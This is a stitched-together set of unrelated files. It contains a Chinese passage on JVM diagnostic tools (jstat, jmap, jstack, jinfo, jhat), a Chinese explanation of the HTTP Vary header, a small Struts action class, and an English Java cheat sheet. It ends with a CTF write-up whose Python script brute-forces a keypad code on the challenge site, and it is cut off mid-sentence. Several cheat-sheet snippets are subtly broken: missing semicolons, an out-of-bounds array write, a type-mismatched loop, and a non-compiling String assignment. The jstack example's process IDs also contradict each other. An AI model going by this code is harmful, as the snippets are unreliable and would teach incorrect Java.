MC MU CCSC CCSU YGC YGCT FGC FGCT GCT 20928.0 20928.0 0.0 0.0 167936.0 8880.5 838912.0 80291.2 106668.0 100032.1 12772.0 11602.2 760 14.332 580 656.218 670.550 20928.0 20928.0 0.0 0.0 167936.0 8880.5 838912.0 80291.2 106668.0 100032.1 12772.0 11602.2 760 14.332 580 656.218 670.550 20928.0 20928.0 0.0 0.0 167936.0 8880.5 838912.0 80291.2 106668.0 100032.1 12772.0 11602.2 760 14.332 580 656.218 670.550 20928.0 20928.0 0.0 0.0 167936.0 8880.5 838912.0 80291.2 106668.0 100032.1 12772.0 11602.2 760 14.332 580 656.218 670.550 ``` 参数说明: * S0C:年轻代中 To Survivor 的容量(单位 KB); * S1C:年轻代中 From Survivor 的容量(单位 KB); * S0U:年轻代中 To Survivor 目前已使用空间(单位 KB); * S1U:年轻代中 From Survivor 目前已使用空间(单位 KB); * EC:年轻代中 Eden 的容量(单位 KB); * EU:年轻代中 Eden 目前已使用空间(单位 KB); * OC:Old 代的容量(单位 KB); * OU:Old 代目前已使用空间(单位 KB); * MC:Metaspace 的容量(单位 KB); * MU:Metaspace 目前已使用空间(单位 KB); * YGC:从应用程序启动到采样时年轻代中 gc 次数; * YGCT:从应用程序启动到采样时年轻代中 gc 所用时间 (s); * FGC:从应用程序启动到采样时 old 代(全 gc)gc 次数; * FGCT:从应用程序启动到采样时 old 代(全 gc)gc 所用时间 (s); * GCT:从应用程序启动到采样时 gc 用的总时间 (s)。 --- ## jmap jmap 是 Java 内存映像工具。jmap 用于生成堆转储快照(一般称为 heapdump 或 dump 文件)。jmap 不仅能生成 dump 文件,还可以查询 finalize 执行队列、Java 堆和永久代的详细信息,如当前使用率、当前使用的是哪种收集器等。 如果不使用这个命令,还可以使用 `-XX:+HeapDumpOnOutOfMemoryError` 参数来让虚拟机出现 OOM 的时候,自动生成 dump 文件。 ### jmap 命令用法 命令格式: ``` jmap [option] pid ``` option 选项参数: * -dump - 生成堆转储快照。-dump:live 只保存堆中的存活对象。 * -finalizerinfo - 显示在 F-Queue 队列等待执行 finalizer 方法的对象 * -heap - 显示 Java 堆详细信息。 * -histo - 显示堆中对象的统计信息,包括类、实例数量、合计容量。-histo:live 只统计堆中的存活对象。 * -permstat - to print permanent generation statistics * -F - 当-dump 没有响应时,强制生成 dump 快照 ### jstat 使用示例 **生成 heapdump 快照** dump 堆到文件,format 指定输出格式,live 指明是活着的对象,file 指定文件名 ``` $ jmap -dump:live,format=b,file=dump.hprof 28920 Dumping heap to /home/xxx/dump.hprof ... Heap dump file created ``` dump.hprof 这个后缀是为了后续可以直接用 MAT(Memory Anlysis Tool)等工具打开。 **#查看实例数最多的类** ``` $ jmap -histo 29527 | head -n 6 num #instances #bytes class name ---------------------------------------------- 1: 13673280 1438961864 [C 2: 1207166 411277184 [I 3: 7382322 347307096 [Ljava.lang.Object; ``` **查看指定进程的堆信息** 注意:使用 CMS GC 情况下,jmap -heap PID 的执行有可能会导致 java 进程挂起。 ``` $ jmap -heap 12379 Attaching to process ID 12379, please wait... Debugger attached successfully. Server compiler detected. JVM version is 17.0-b16 using thread-local object allocation. Parallel GC with 6 thread(s) Heap Configuration: MinHeapFreeRatio = 40 MaxHeapFreeRatio = 70 MaxHeapSize = 83886080 (80.0MB) NewSize = 1310720 (1.25MB) MaxNewSize = 17592186044415 MB OldSize = 5439488 (5.1875MB) NewRatio = 2 SurvivorRatio = 8 PermSize = 20971520 (20.0MB) MaxPermSize = 88080384 (84.0MB) Heap Usage: PS Young Generation Eden Space: capacity = 9306112 (8.875MB) used = 5375360 (5.1263427734375MB) free = 3930752 (3.7486572265625MB) 57.761608714788736% used From Space: capacity = 9306112 (8.875MB) used = 3425240 (3.2665634155273438MB) free = 5880872 (5.608436584472656MB) 36.80634834397007% used To Space: capacity = 9306112 (8.875MB) used = 0 (0.0MB) free = 9306112 (8.875MB) 0.0% used PS Old Generation capacity = 55967744 (53.375MB) used = 48354640 (46.11457824707031MB) free = 7613104 (7.2604217529296875MB) 86.39733629427693% used PS Perm Generation capacity = 62062592 (59.1875MB) used = 60243112 (57.452308654785156MB) free = 1819480 (1.7351913452148438MB) 97.06831451706046% used ``` --- ## jstack jstack 是 Java 堆栈跟踪工具。jstack 用来打印目标 Java 进程中各个线程的栈轨迹,以及这些线程所持有的锁,并可以生成 java 虚拟机当前时刻的线程快照(一般称为 threaddump 或 javacore 文件)。 线程快照是当前虚拟机内每一条线程正在执行的方法堆栈的集合,生成线程快照的主要目的是定位线程出现长时间停顿的原因,如线程间死锁、死循环、请求外部资源导致的长时间等待等。 `jstack` 通常会结合 `top -Hp pid` 或 `pidstat -p pid -t` 一起查看具体线程的状态,也经常用来排查一些死锁的异常。 线程出现停顿的时候通过 jstack 来查看各个线程的调用堆栈,就可以知道没有响应的线程到底在后台做什么事情,或者等待什么资源。 如果 java 程序崩溃生成 core 文件,jstack 工具可以用来获得 core 文件的 java stack 和 native stack 的信息,从而可以轻松地知道 java 程序是如何崩溃和在程序何处发生问题。另外,jstack 工具还可以附属到正在运行的 java 程序中,看到当时运行的 java 程序的 java stack 和 native stack 的信息, 如果现在运行的 java 程序呈现 hung 的状态,jstack 是非常有用的。 ### jstack 命令用法 命令格式: ``` jstack [option] pid ``` option 选项参数 * -F - 当正常输出请求不被响应时,强制输出线程堆栈 * -l - 除堆栈外,显示关于锁的附加信息 * -m - 打印 java 和 jni 框架的所有栈信息 ### jstack 使用示例 **找出某 Java 进程中最耗费 CPU 的 Java 线程** 1. 找出 Java 进程 假设应用名称为 myapp: ``` $ jps | grep myapp 29527 myapp.jar ``` 得到进程 ID 为 21711 2. 找出该进程内最耗费 CPU 的线程,可以使用 ps -Lfp pid 或者 ps -mp pid -o THREAD, tid, time 或者 top -Hp pid TIME 列就是各个 Java 线程耗费的 CPU 时间,CPU 时间最长的是线程 ID 为 21742 的线程,用 ``` printf "%x\n" 21742 ``` 得到 21742 的十六进制值为 54ee 3. 使用 jstack 打印线程堆栈信息 下一步终于轮到 jstack 上场了,它用来输出进程 21711 的堆栈信息,然后根据线程 ID 的十六进制值 grep,如下: ``` $ jstack 21711 | grep 54ee "PollIntervalRetrySchedulerThread" prio=10 tid=0x00007f950043e000 nid=0x54ee in Object.wait() [0x00007f94c6eda000] ``` 可以看到 CPU 消耗在 PollIntervalRetrySchedulerThread 这个类的 Object.wait()。 注:上面的例子中,默认只显示了一行信息,但很多时候我们希望查看更详细的调用栈。可以通过指定 `-A <num>` 的方式来显示行数。例如:`jstack -l <pid> | grep <thread-hex-id> -A 10` 3. 分析代码 定位到下面的代码: ``` // Idle wait getLog().info("Thread [" + getName() + "] is idle waiting..."); schedulerThreadState = PollTaskSchedulerThreadState.IdleWaiting; long now = System.currentTimeMillis(); long waitTime = now + getIdleWaitTime(); long timeUntilContinue = waitTime - now; synchronized(sigLock) { try { if(!halted.get()) { sigLock.wait(timeUntilContinue); } } catch (InterruptedException ignore) { } } ``` 它是轮询任务的空闲等待代码,上面的 `sigLock.wait(timeUntilContinue)` 就对应了前面的 `Object.wait()`。 **生成 threaddump 文件** 可以使用 `jstack -l <pid> > <file-path>` 命令生成 threaddump 文件 生成进程 ID 为 8841 的 Java 进程的 threaddump 文件。 ``` jstack -l 8841 > /home/threaddump.txt ``` ### thread dump 文件 java thread dump 文件内容见 https://dunwu.github.io/javacore/jvm/jvm-cli-tools.html#_4-2-thread-dump-%E6%96%87%E4%BB%B6 --- ## jinfo jinfo 是 Java 配置信息工具。jinfo 用于实时查看和调整虚拟机运行参数。如传递给 Java 虚拟机的 `-X`(即输出中的 jvm_args)、`-XX` 参数(即输出中的 VM Flags),以及可在 Java 层面通过 System.getProperty 获取的 `-D` 参数(即输出中的 System Properties)。 之前的 `jps -v` 口令只能查看到显示指定的参数,如果想要查看未被显示指定的参数的值就要使用 jinfo 口令。 jinfo 命令格式: ``` jinfo [option] pid ``` option 选项参数: * -flag - 输出指定 args 参数的值 * -sysprops - 输出系统属性,等同于 `System.getProperties()` jinfo 使用示例 ``` $ jinfo -sysprops 29527 Attaching to process ID 29527, please wait... Debugger attached successfully. Server compiler detected. JVM version is 25.222-b10 ... ``` --- ## jhat jhat(JVM Heap Analysis Tool),是虚拟机堆转储快照分析工具。jhat 与 jmap 搭配使用,用来分析 jmap 生成的 dump 文件。jhat 内置了一个微型的 HTTP/HTML 服务器,生成 dump 的分析结果后,可以在浏览器中查看。 注意:一般不会直接在服务器上进行分析,因为 jhat 是一个耗时并且耗费硬件资源的过程,一般把服务器生成的 dump 文件,用 jvisualvm 、Eclipse Memory Analyzer、IBM HeapAnalyzer 等工具来分析。 命令格式: ``` jhat [dumpfile] ``` --- ## Source & Reference - https://dunwu.github.io/javacore/jvm/jvm-gui-tools.html - https://dunwu.github.io/javacore/jvm/jvm-cli-tools.html
sec-knowleage
# Vary --- ## Vary 的作用 Vary 一般出现在 HTTP 请求的响应信息头部,比如像下面这样 ``` HTTP/1.0 200 OK Date: Fri, 24 Sep 2010 23:09:32 GMT Content-Type: application/json;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding,User-Agent Age: 1235 X-Cache: HIT from cache.kolich.local X-Cache-Lookup: HIT from cache.kolich.local:80 Content-Length: 25090 Connection: close ``` 或者是这样 ``` HTTP/1.1 200 OK Server: nginx Date: Tue, 31 Dec 2013 16:34:48 GMT Content-Type: application/x-javascript Content-Length: 66748 Last-Modified: Tue, 31 Dec 2013 14:30:52 GMT Connection: keep-alive Vary: Accept-Encoding ETag: "52c2d51c-104bc" Expires: Fri, 29 Dec 2023 16:34:48 GMT Cache-Control: max-age=315360000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ``` **Vary 出现在响应信息中的作用是什么呢?** 首先这是由服务器端添加,添加到响应头部。大部分情况下是用在客户端缓存机制或者是缓存服务器在做缓存操作的时候,会使用到 Vary 头,会读取响应头中的 Vary 的内容,进行一些缓存的判断。 对于服务器提供的某个接口来说,有时候会出现不同种类的客户端对其进行网络请求获取数据,不同的客户端可能支持的压缩编码方式不同,可能有的客户端不支持压缩,那么服务器端返回的数据就不能压缩,有的支持 gzip 编码,那么服务器端就可以进行 gzip 编码返回给客户端,客户端获取到数据之后,做响应的 gzip 解码。还有种情况,对于不同的客户端,需要的内容不一样,比如针对特定,浏览器要求输出的内容不一样,比如在 IE6 浏览器上要输出不一样的内容,这就需要服务器端做不同的数据返回。所以说,服务器提供的同一个接口,客户端进行同样的网络请求,对于不同种类的客户端可能需要的数据不同,服务器端的返回方式返回数据也会不同。对于这个问题的解决,我们可以在请求信息添加 Accept-Encoding、User-Agent 等头部。 这些都没有问题,顺利的解决了我们上面提出的问题,然而,当使用到缓存的时候,就会有问题,比如要求针对 IE5 和 IE6 显示不同的数据,针对同一接口的同样的请求,缓存服务器中分别存储了 IE5 和 IE6 两份数据,由于同样的接口同样的请求,一旦服务器判定要从缓存中获取数据的话,很有可能会导致两个客户端的请求拿到同一份数据,这就会让那个数据展示出现问题;再比如说A类客户端支持压缩格式 gzip,B 类客户端不支持压缩,对于同一个接口同样的请求,如果服务器端打算从缓存服务器中取出数据返回的话,A、B 两类客户端可能会收到同样的数据,这样要就会导致编解码出错。 这时候我们的 Vary 响应头就登场了,Vary 的字面意思是“不一、多样化”,顾名思义,它的存在区分同样的网络请求的不同之处,其实就是通过头部信息来区分。 *一个简单的 Vary 头包括:* ``` Vary: Accept-Encoding Vary: Accept-Encoding,User-Agent Vary: X-Some-Custom-Header,Host Vary: * ``` Vary 存在于响应头中,它的内容来自于请求头中相关字段,Vary 头的内容如果是多条则用 `,` 分割。缓存服务器会将某接口的首次请求结果缓存下来(包括响应头中的 Vary),后面在发生相同请求的时候缓存服务器会拿着缓存的 Vary 来进行判断。比如 Vary: Accept-Encoding,User-Agent,那么 Accept-Encoding 与 User-Agent 两个请求头的内容,就会作为判断是否返回缓存数据的依据,当缓存服务器中相同请求的缓存数据的编码格式、代理服务与当前请求的编码格式、代理服务一致,那就返回缓存数据,否则就会从服务器重新获取新的数据。当缓存服务器中已经缓存了该条请求,那么某次服务器端的响应头中如果 Vary 的值改变,则 Vary 会更新到该请求的缓存中去,下次请求会对比新的 Vary 内容。 *官方解释Vary头:* 告知下游的代理服务器,应当如何对以后的请求协议头进行匹配,以决定是否可使用已缓存的响应内容而不是重新从原服务器请求新的内容。 --- ## Source & Reference - [HTTP请求的响应头部Vary的理解](https://blog.csdn.net/qq_29405933/article/details/84315254)
sec-knowleage
package org.pwntester.action; import com.opensymphony.xwork2.ActionSupport; public class IndexAction extends ActionSupport { private String id; public String changeId(){ return SUCCESS; } public String getId() { return id; } public void setId(String id) { this.id = id; } }
sec-knowleage
--- title: Java date: 2021-03-10 19:50:01 background: bg-[#d33731] tags: - object-oriented - class categories: - Programming intro: | This cheat sheet is a crash course for Java beginners and help review the basic syntax of the Java language. plugins: - tooltip - copyCode --- Getting Started -------- ### Hello.java {.row-span-2} ```java public class Hello { // main method public static void main(String[] args) { // Output: Hello, world! System.out.println("Hello, world!"); } } ``` Compiling and running ```shell script $ javac Hello.java $ java Hello Hello, world! ``` ### Variables ```java int num = 5; float floatNum = 5.99f; char letter = 'D'; boolean bool = true; String site = "quickref.me"; ``` ### Primitive Data Types {.row-span-2} | Data Type | Size | Default | Range | |-----------|--------|---------|---------------------| | `byte` | 1 byte | 0 | -128 ^to^ 127 | | `short` | 2 byte | 0 | -2^15^ ^to^ 2^15^-1 | | `int` | 4 byte | 0 | -2^31^ ^to^ 2^31^-1 | | `long` | 8 byte | 0 | -2^63^ ^to^ 2^63^-1 | | `float` | 4 byte | 0.0f | _N/A_ | | `double` | 8 byte | 0.0d | _N/A_ | | `char` | 2 byte | \\u0000 | 0 ^to^ 65535 | | `boolean` | _N/A_ | false | true / false | {.show-header} ### Strings ```java String first = "John"; String last = "Doe"; String name = first + " " + last; System.out.println(name); ``` See: [Strings](#java-strings) ### Loops ```java String word = "QuickRef"; for (char c: word.toCharArray()) { System.out.print(c + "-"); } // Outputs: Q-u-i-c-k-R-e-f- ``` See: [Loops](#java-loops) ### Arrays ```java char[] chars = new char[10]; chars[0] = 'a' chars[1] = 'b' String[] letters = {"A", "B", "C"}; int[] mylist = {100, 200}; boolean[] answers = {true, false}; ``` See: [Arrays](#java-arrays) ### Swap ```java int a = 1; int b = 2; System.out.println(a + " " + b); // 1 2 int temp = a; a = b; b = temp; System.out.println(a + " " + b); // 2 1 ``` ### Type Casting ```java // Widening // byte<short<int<long<float<double int i = 10; long l = i; // 10 // Narrowing double d = 10.02; long l = (long)d; // 10 String.valueOf(10); // "10" Integer.parseInt("10"); // 10 Double.parseDouble("10"); // 10.0 ``` ### Conditionals ```java int j = 10; if (j == 10) { System.out.println("I get printed"); } else if (j > 10) { System.out.println("I don't"); } else { System.out.println("I also don't"); } ``` See: [Conditionals](#java-conditionals) ### User Input ```java Scanner in = new Scanner(System.in); String str = in.nextLine(); System.out.println(str); int num = in.nextInt(); System.out.println(num); ``` Java Strings ------- ### Basic ```java String str1 = "value"; String str2 = new String("value"); String str3 = String.valueOf(123); ``` ### Concatenation ```java String s = 3 + "str" + 3; // 3str3 String s = 3 + 3 + "str"; // 6str String s = "3" + 3 + "str"; // 33str String s = "3" + "3" + "23"; // 3323 String s = "" + 3 + 3 + "23"; // 3323 String s = 3 + 3 + 23; // 29 ``` ### StringBuilder {.row-span-3} StringBuilder sb = new StringBuilder(10); ```java ┌───┬───┬───┬───┬───┬───┬───┬───┬───┐ | | | | | | | | | | └───┴───┴───┴───┴───┴───┴───┴───┴───┘ 0 1 2 3 4 5 6 7 8 9 ``` sb.append("QuickRef"); ```java ┌───┬───┬───┬───┬───┬───┬───┬───┬───┐ | Q | u | i | c | k | R | e | f | | └───┴───┴───┴───┴───┴───┴───┴───┴───┘ 0 1 2 3 4 5 6 7 8 9 ``` sb.delete(5, 9); ```java ┌───┬───┬───┬───┬───┬───┬───┬───┬───┐ | Q | u | i | c | k | | | | | └───┴───┴───┴───┴───┴───┴───┴───┴───┘ 0 1 2 3 4 5 6 7 8 9 ``` sb.insert(0, "My "); ```java ┌───┬───┬───┬───┬───┬───┬───┬───┬───┐ | M | y | | Q | u | i | c | k | | └───┴───┴───┴───┴───┴───┴───┴───┴───┘ 0 1 2 3 4 5 6 7 8 9 ``` sb.append("!"); ```java ┌───┬───┬───┬───┬───┬───┬───┬───┬───┐ | M | y | | Q | u | i | c | k | ! | └───┴───┴───┴───┴───┴───┴───┴───┴───┘ 0 1 2 3 4 5 6 7 8 9 ``` ### Comparison ```java String s1 = new String("QuickRef"); String s2 = new String("QuickRef"); s1 == s2 // false s1.equals(s2) // true "AB".equalsIgnoreCase("ab") // true ``` ### Manipulation ```java String str = "Abcd"; str.toUpperCase(); // ABCD str.toLowerCase(); // abcd str.concat("#"); // Abcd# str.replace("b", "-"); // A-cd " abc ".trim(); // abc "ab".toCharArray(); // {'a', 'b'} ``` ### Information ```java String str = "abcd"; str.charAt(2); // c str.indexOf("a") // 0 str.indexOf("z") // -1 str.length(); // 4 str.toString(); // abcd str.substring(2); // cd str.substring(2,3); // c str.contains("c"); // true str.endsWith("d"); // true str.startsWith("a"); // true str.isEmpty(); // false ``` ### Immutable ```java String str = "hello"; str.concat("world"); // Outputs: hello System.out.println(str); ``` --- ```java String str = "hello"; String concat = str.concat("world"); // Outputs: helloworld System.out.println(concat); ``` Once created cannot be modified, any modification creates a new String Java Arrays ------- ### Declare ```java int[] a1; int[] a2 = {1, 2, 3}; int[] a3 = new int[]{1, 2, 3}; int[] a4 = new int[3]; a4[0] = 1; a4[2] = 2; a4[3] = 3; ``` ### Modify ```java int[] a = {1, 2, 3}; System.out.println(a[0]); // 1 a[0] = 9; System.out.println(a[0]); // 9 System.out.println(a.length); // 3 ``` ### Loop (Read & Modify) ```java int[] arr = {1, 2, 3}; for (int i=0; i < arr.length; i++) { arr[i] = arr[i] * 2; System.out.print(arr[i] + " "); } // Outputs: 2 4 6 ``` ### Loop (Read) ```java String[] arr = {"a", "b", "c"}; for (int a: arr) { System.out.print(a + " "); } // Outputs: a b c ``` ### Multidimensional Arrays ```java int[][] matrix = { {1, 2, 3}, {4, 5} }; int x = matrix[1][0]; // 4 // [[1, 2, 3], [4, 5]] Arrays.deepToString(matrix) for (int i = 0; i < a.length; ++i) { for(int j = 0; j < a[i].length; ++j) { System.out.println(a[i][j]); } } // Outputs: 1 2 3 4 5 6 7 ``` ### Sort ```java char[] chars = {'b', 'a', 'c'}; Arrays.sort(chars); // [a, b, c] Arrays.toString(chars); ``` Java Conditionals ----------- ### Operators {.row-span-2} - <a href="javascript:void(0);" data-tooltip="Additive operator (also used for String concatenation)">+</a> - <a href="javascript:void(0);" data-tooltip="Subtraction operator">-</a> - <a href="javascript:void(0);" data-tooltip="Multiplication operator">*</a> - <a href="javascript:void(0);" data-tooltip="Division operator">/</a> - <a href="javascript:void(0);" data-tooltip="Remainder operator">%</a> - <a href="javascript:void(0);" data-tooltip="Simple assignment operator">=</a> - <a href="javascript:void(0);" data-tooltip="Increment operator; increments a value by 1">++</a> - <a href="javascript:void(0);" data-tooltip="Decrement operator; decrements a value by 1">--</a> - <a href="javascript:void(0);" data-tooltip="Logical complement operator; inverts the value of a boolean">!</a> {.marker-none .cols-4} ---- - <a href="javascript:void(0);" data-tooltip="Equal to">==</a> - <a href="javascript:void(0);" data-tooltip="Not equal to">!=</a> - <a href="javascript:void(0);" data-tooltip="Greater than">></a> - <a href="javascript:void(0);" data-tooltip="Greater than or equal to">>=</a> - <a href="javascript:void(0);" data-tooltip="Less than"><</a> - <a href="javascript:void(0);" data-tooltip="Less than or equal to"><=</a> {.marker-none .cols-4} ---- - <a href="javascript:void(0);" data-tooltip="Conditional-AND">&&</a> - <a href="javascript:void(0);" data-tooltip="Conditional-OR">||</a> - [?:](#ternary-operator){data-tooltip="Ternary (shorthand for if-then-else statement)"} {.marker-none .cols-4} ---- - <a href="javascript:void(0);" data-tooltip="Compares an object to a specified type">instanceof</a> {.marker-none} ---- - <a href="javascript:void(0);" data-tooltip="Unary bitwise complement">~</a> - <a href="javascript:void(0);" data-tooltip="Signed left shift"><<</a> - <a href="javascript:void(0);" data-tooltip="Signed right shift">>></a> - <a href="javascript:void(0);" data-tooltip="Unsigned right shift">>>></a> - <a href="javascript:void(0);" data-tooltip="Bitwise AND">&</a> - <a href="javascript:void(0);" data-tooltip="Bitwise exclusive OR">^</a> - <a href="javascript:void(0);" data-tooltip="Bitwise inclusive OR">|</a> {.marker-none .cols-4} ### If else ```java int k = 15; if (k > 20) { System.out.println(1); } else if (k > 10) { System.out.println(2); } else { System.out.println(3); } ``` ### Switch {.row-span-2} ```java int month = 3; String str; switch (month) { case 1: str = "January"; break; case 2: str = "February"; break; case 3: str = "March"; break; default: str = "Some other month"; break; } // Outputs: Result March System.out.println("Result " + str); ``` ### Ternary operator ```java int a = 10; int b = 20; int max = (a > b) ? a : b; // Outputs: 20 System.out.println(max); ``` Java Loops ---- ### For Loop ```java for (int i = 0; i < 10; i++) { System.out.print(i); } // Outputs: 0123456789 ``` ------ ```java for (int i = 0,j = 0; i < 3; i++,j--) { System.out.print(j + "|" + i + " "); } // Outputs: 0|0 -1|1 -2|2 ``` ### Enhanced For Loop ```java int[] numbers = {1,2,3,4,5}; for (int number: numbers) { System.out.print(number); } // Outputs: 12345 ``` Used to loop around array's or List's ### While Loop ```java int count = 0; while (count < 5) { System.out.print(count); count++; } // Outputs: 01234 ``` ### Do While Loop ```java int count = 0; do { System.out.print(count); count++; } while (count < 5); // Outputs: 01234 ``` ### Continue Statement ```java for (int i = 0; i < 5; i++) { if (i == 3) { continue; } System.out.print(i); } // Outputs: 01245 ``` ### Break Statement ```java for (int i = 0; i < 5; i++) { System.out.print(i); if (i == 3) { break; } } // Outputs: 0123 ``` Java Collections Framework -------------------- ### Java Collections {.col-span-2} | Collection | Interface | Ordered | Sorted | Thread safe | Duplicate | Nullable | |--------------------------------------------------------------------------------------------------------------------|-------------|---------|--------|-------------|-----------|--------------------| | [ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y | | [Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y | | [LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y | | [CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y | | [HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null` | | [LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null` | | [TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_ | | [CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null` | | [ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_ | | [HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_ | | [HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_ | | [LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_ | | [TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_ | | [ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_ | | [ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_ | | [ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_ | | [PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_ | | [ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_ | | [ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_ | | [ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_ | | [LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_ | | [PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_ | {.show-header .left-text} ### ArrayList ```java List<Integer> nums = new ArrayList<>(); // Adding nums.add(2); nums.add(5); nums.add(8); // Retrieving System.out.println(nums.get(0)); // Indexed for loop iteration for (int i = 0; i < nums.size(); i++) { System.out.println(nums.get(i)); } nums.remove(nums.size() - 1); nums.remove(0); // VERY slow for (Integer value : nums) { System.out.println(value); } ``` ### HashMap ```java Map<Integer, String> m = new HashMap<>(); m.put(5, "Five"); m.put(8, "Eight"); m.put(6, "Six"); m.put(4, "Four"); m.put(2, "Two"); // Retrieving System.out.println(m.get(6)); // Lambda forEach m.forEach((key, value) -> { String msg = key + ": " + value; System.out.println(msg); }); ``` ### HashSet ```java Set<String> set = new HashSet<>(); if (set.isEmpty()) { System.out.println("Empty!"); } set.add("dog"); set.add("cat"); set.add("mouse"); set.add("snake"); set.add("bear"); if (set.contains("cat")) { System.out.println("Contains cat"); } set.remove("cat"); for (String element : set) { System.out.println(element); } ``` ### ArrayDeque ```java Deque<String> a = new ArrayDeque<>(); // Using add() a.add("Dog"); // Using addFirst() a.addFirst("Cat"); // Using addLast() a.addLast("Horse"); // [Cat, Dog, Horse] System.out.println(a); // Access element System.out.println(a.peek()); // Remove element System.out.println(a.pop()); ``` Misc ---- ### Access Modifiers {.col-span-2} | Modifier | Class | Package | Subclass | World | |-------------|-------|---------|----------|-------| | public | Y | Y | Y | Y | | protected | Y | Y | Y | _N_ | | no modifier | Y | Y | _N_ | _N_ | | private | Y | _N_ | _N_ | _N_ | {.show-header .left-text} ### Regular expressions ```java String text = "I am learning Java"; // Removing All Whitespace text.replaceAll("\\s+", ""); // Splitting a String text.split("\\|"); text.split(Pattern.quote("|")); ``` See: [Regex in java](/regex#regex-in-java) ### Comment ```java // I am a single line comment! /* And I am a multi-line comment! */ /** * This * is * documentation * comment */ ``` ### Keywords {.col-span-2} - abstract - continue - for - new - switch - assert - default - goto - package - synchronized - boolean - do - if - private - this - break - double - implements - protected - throw - byte - else - import - public - throws - case - enum - instanceof - return - transient - catch - extends - int - short - try - char - final - interface - static - void - class - finally - long - strictfp - volatile - const - float - native - super - while {.marker-none .cols-6} ### Math methods | Method | Description | |-----------------------|------------------------| | `Math.max(a,b)` | Maximum of a and b | | `Math.min(a,b)` | Minimum of a and b | | `Math.abs(a)` | Absolute value a | | `Math.sqrt(a)` | Square-root of a | | `Math.pow(a,b)` | Power of b | | `Math.round(a)` | Closest integer | | `Math.sin(ang)` | Sine of ang | | `Math.cos(ang)` | Cosine of ang | | `Math.tan(ang)` | Tangent of ang | | `Math.asin(ang)` | Inverse sine of ang | | `Math.log(a)` | Natural logarithm of a | | `Math.toDegrees(rad)` | Angle rad in degrees | | `Math.toRadians(deg)` | Angle deg in radians | ### Try/Catch/Finally ```java try { // something } catch (Exception e) { e.printStackTrace(); } finally { System.out.println("always printed"); } ```
sec-knowleage
# Singapore - Harbour Category: Web ## Description > Boy this has been a tough journey, you had luck that you entered a box that contained some food. You hear foul voices and feel that some people pick up your box, and carry it to another place. When the voices disappear, you take the chance to escape. You have successfully arrived in Singapore. You find a peaceful café, order a cup of tea and charge your cell phone. PLING, you’ve received another text message from the boss: "I pretend that I don’t know where you are, but I do. You’ll have to forgive me, but I’ve had a tracker on you all the time. You have finally reached Singapore, find "M/S. Revenger" and sneak onboard, it will take you to our enemy's hidden island, make it quick, the ship is leaving the harbor soon, I count on you AGENT!." Look, overthere "M/S Revenger", you have to get closer! Hmm, but it seems quite guarded. You will have to swim! You go away from the ship and dive into the warm and clear water. It’s nice to go for a swim but you would have preferred it to be under more relaxed circumstances. You swim slowly towards the ship, finally you reach it, climb up on the side of it and in through a window. You find yourself in a cabin with locked doors. Thankfully, it's an electronic lock. > > Challenge: Old lock (web) > > You're not sure what metal the keypad was made of, but either it was very soft, or whoever punches in the code has waay too much strength in their fingers. This also means you're in luck, since it's pretty obvious which digits are actually used in the 5-digit code. The order is unknown, but there can't be that many possibilities, right? Note: Online brute forcing is allowed in this task. ## Solution The attached website displays the following: ![](images/keypad.png) We'll just try all possibilities: ```python from pwn import * import requests import itertools keys = [3, 5, 7, 8, 0] with log.progress("Brute-forcing combination") as p: for permutation in itertools.permutations(keys): passcode = "".join(map(str, permutation)) p.status(f"Trying {passcode}") r = requests.post("https://old-lock-web.2021.ctfcompetition.com/", data = {"v": passcode}) if not "that's not it" in r.text: log.info(f"Found code: {passcode}") break ``` After a 